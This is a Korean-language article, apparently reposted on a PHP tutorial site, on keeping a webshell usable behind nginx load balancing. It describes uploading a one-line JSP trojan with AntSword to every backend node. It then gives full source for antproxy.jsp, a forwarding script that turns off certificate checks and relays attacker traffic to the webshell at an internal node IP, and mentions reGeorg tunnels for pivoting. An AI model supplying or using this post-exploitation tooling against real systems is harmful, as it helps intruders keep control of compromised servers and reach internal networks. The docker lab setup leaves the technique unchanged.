>  기사  >  운영 및 유지보수  >  nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

WBOY
WBOY앞으로
2023-05-16 08:16:131511검색

시나리오 설명

실제 프로덕션 환경에 WebShell을 얻을 수 있는 RCE 취약점이 있다고 가정

환경 설치

먼저 GetHub에서 취약한 이미지를 가져오기 전에 nginx 및 tomcat을 centos에 설치해야 합니다. nginx, tomcat 관련 설정 파일을 미리 설정하고, docker를 이용해 이미지를 풀다운하여 취약점을 재현해 보세요.

1. 먼저 docker 환경을 설정합니다

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

2. Tomcat에 접근 가능한지 테스트합니다

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

위 그림에서 볼 수 있듯이 백엔드 tomcat에 접근이 가능한지 확인합니다

3. docker의 nginx 응답 에이전트에 대한 부하 분산

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

4. docker

의 lbsnode1에 있는 ant.jsp 파일을 확인하세요. 이 파일은 한 문장의 Trojan으로 이해될 수 있으며, lbsnode2에도 동일한 파일이 존재합니다

lbsnode1:

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

lbsnode2:

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

5. China Ant Sword

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

를 통해 ant.jsp 파일을 연결합니다. 두 노드 모두 동일한 위치에 ant.jsp가 있으므로 연결 시 예외가 없습니다

재생산 과정의 문제

문제 1: nginx에서 사용하는 역방향 프록시는 폴링 방식이므로 업로드된 파일은 두 백엔드 서버의 동일한 위치에 업로드되어야 합니다

우리는 역방향 프록시 부하이기 때문에 균형 조정에는 파일 업로드가 포함됩니다. 한 백엔드 서버에는 우리가 업로드한 파일이 있지만 다른 서버에는 우리가 업로드한 파일이 없습니다. 결과적으로 한 서버에 파일이 없으면 서버 차례가 됩니다. , 404 오류가 보고되며 이는 사용에 영향을 미칩니다. 이것이 잠시 동안 정상으로 나타나고 잠시 동안 오류가 나타나는 이유입니다.

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

해결책:

어떤 서버가 폴링되든 백엔드 서버에 액세스할 수 있도록 각 노드의 동일한 위치에 동일한 콘텐츠가 포함된 WebShell을 업로드해야 합니다. 모든 백엔드 서버에 파일을 업로드하려면 미친듯이 업로드해야 합니다.

질문 2: 명령을 실행할 때 다음 요청이 어떤 시스템으로 전달되어 실행될지 알 수 없습니다.

현재 실행 시스템의 IP를 보기 위해 호스트 이름 -i를 실행하면

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

문제 3: 더 큰 도구를 업로드해야 할 때 도구를 사용할 수 없게 됩니다.

더 큰 파일을 업로드하면 AntSword는 파일을 업로드할 때 분할을 사용합니다. 슬라이스 업로드 방법은 파일을 여러 개의 HTTP 요청으로 나누어 대상으로 보냅니다. 파일의 일부는 서버 A에 있고 파일의 다른 부분은 서버 B에 있게 되므로 더 큰 도구나 파일을 열 수 없거나 파일을 열 수 없게 됩니다.

사용 질문 4: 대상 호스트가 외부 네트워크에 액세스할 수 없으므로 더 나아가려면 reGeorg/HTTPAbs와 같은 HTTP 터널만 사용할 수 있습니다. 그러나 이 시나리오에서는 이러한 터널 스크립트가 모두 실패합니다.

Solution

옵션 1: 백엔드 서버 중 하나 종료

백엔드 서버 중 하나를 종료하면 실제로 위의 네 가지 문제를 해결할 수 있지만 이 솔루션은 실제로 "생일을 거는 것입니다." "살기 지겹다", 사업에 영향을 미치고 재난을 초래할 수 있으니 고려하지 말고 그냥 넘어가세요

종합 평가: 이런 상황에서는 시도하지 마세요! ! !

옵션 2: 프로그램을 실행하기 전에 프로그램을 실행할지 여부 결정

다음번에 어떤 머신이 프로그램을 실행할지 예측하는 것은 불가능하므로 셸이 페이로드를 실행하기 전에 먼저 프로그램이 필요한지 여부를 결정할 수 있습니다. 실행.

처음으로 데모.sh 스크립트를 생성하세요. 이 스크립트는 백엔드 서버 중 하나의 주소를 얻기 위한 것입니다. 프로그램은 이 서버의 주소와 일치하는 경우에만 실행됩니다. 다른 서버에서는 프로그램이 실행되지 않습니다.

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

Demo.sh 스크립트 파일을 China Ant Sword를 통해 두 개의 백엔드 서버에 업로드합니다. 로드 밸런싱이기 때문에 업로드하려면 미친듯이 클릭해야 합니다

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

이런 식으로 실행된 명령이 우리가 원하는 머신에 있는지 실제로 확인할 수 있습니다. 그러나 이런 방식으로 명령을 실행하는 것에는 장점이 없습니다. HTTP 터널이 해결되지 않았습니다.

종합적 평가: 이 솔루션은 거의 사용할 수 없으며 명령을 실행할 때만 사용하기에 적합하지 않습니다.

옵션 3: 웹 계층에서 HTTP 트래픽 전달(핵심)

예, AntSword를 사용하여 LBSNode1 인트라넷 IP(172.23.0.2)의 포트 8080에 직접 액세스할 수 없지만 누군가가 액세스할 수 있습니다. nginx에 액세스할 수 있는 것 외에도 LBSNode2 시스템은 Node1 시스템의 8080 포트에도 액세스할 수 있습니다.

아직도 "PHP 우회 비활성화 기능" 플러그인을 기억하시나요? 이 플러그인을 로드한 후 로컬에서 http서버를 시작한 다음 HTTP 수준 트래픽 전달 스크립트 "antproxy.php"를 사용했습니다. 이 시나리오를 살펴보세요:

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

이 그림을 단계별로 살펴보겠습니다. 우리의 목표는 다음과 같습니다. 모든 데이터 패킷은 "LBSNode 1" 머신으로 전송될 수 있습니다.

첫 번째 단계는 1단계입니다. , /antproxy.jsp를 요청합니다. 이 요청은 nginx로 전송됩니다

nginx가 데이터 패킷을 받은 후 두 가지 상황이 발생합니다.

먼저 검은색 선을 살펴보겠습니다. 두 번째 단계에서는 요청을 대상 시스템으로 전달합니다. Node1 시스템을 요청합니다. /antproxy.jsp, 3단계, /antproxy.jsp는 요청을 재구성하여 성공적으로 실행되는 Node1 시스템의 /ant.jsp에 전달합니다.

빨간색 선을 다시 살펴보세요. 2단계에서는 요청이 Node2 시스템으로 전달됩니다. 그런 다음 3단계에서는 Node2 시스템의 /antproxy.jsp가 요청을 재구성하여 Node1의 /ant.jsp로 전달합니다. 성공적으로 실행되었습니다.

1.antproxy.jsp 스크립트를 생성합니다

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.24.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

2. 전달 주소를 수정하고 대상 Node의 인트라넷 IP의 대상 스크립트 액세스 주소로 리디렉션합니다.

참고: WebShell뿐만 아니라 reGeorg와 같은 스크립트의 액세스 주소도 변경될 수 있습니다

대상을 LBSNode1

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

주의:

a) Do 업로드 기능을 사용하지 않으면 업로드 기능이 여러 개로 업로드되어 여러 노드에 흩어지게 됩니다.

b) 모든 노드가 antproxy.jsp에 대해 동일한 경로를 갖도록 하기 위해 모든 노드가 스크립트를 업로드했는지 확인하기 위해 여러 번 저장했습니다

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

3. antproxy.jsp 주소로 URL 부분을 입력하고 나머지 구성은 그대로 둡니다

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

4. 실행 명령을 테스트하고 IP를 확인합니다

nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법

IP가 수정되었습니다. 이는 요청이 LBSNode1 머신에 수정되었음을 의미합니다. 이때 다중 부분 업로드 및 HTTP 프록시를 사용하는 것은 독립 실행형 상황과 다르지 않습니다.

1. 권한이 높으면 완료될 수도 있습니다. 포트 수준을 통해 직접 전달되지만 이는 Plan A

2의 관련 서비스와 다르지 않습니다. 트래픽 측면에서는 WebShell 액세스 요청에만 영향을 미치며 기타 일반적인 비즈니스 요청에는 영향을 미치지 않습니다.

3. 더 많은 도구에 적응

단점:

이 솔루션은 "대상 노드"와 "다른 노드" 간의 인트라넷 상호 운용성이 필요합니다.

위 내용은 nginx 로드 밸런싱에서 웹셸 업로드를 구현하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 yisu.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제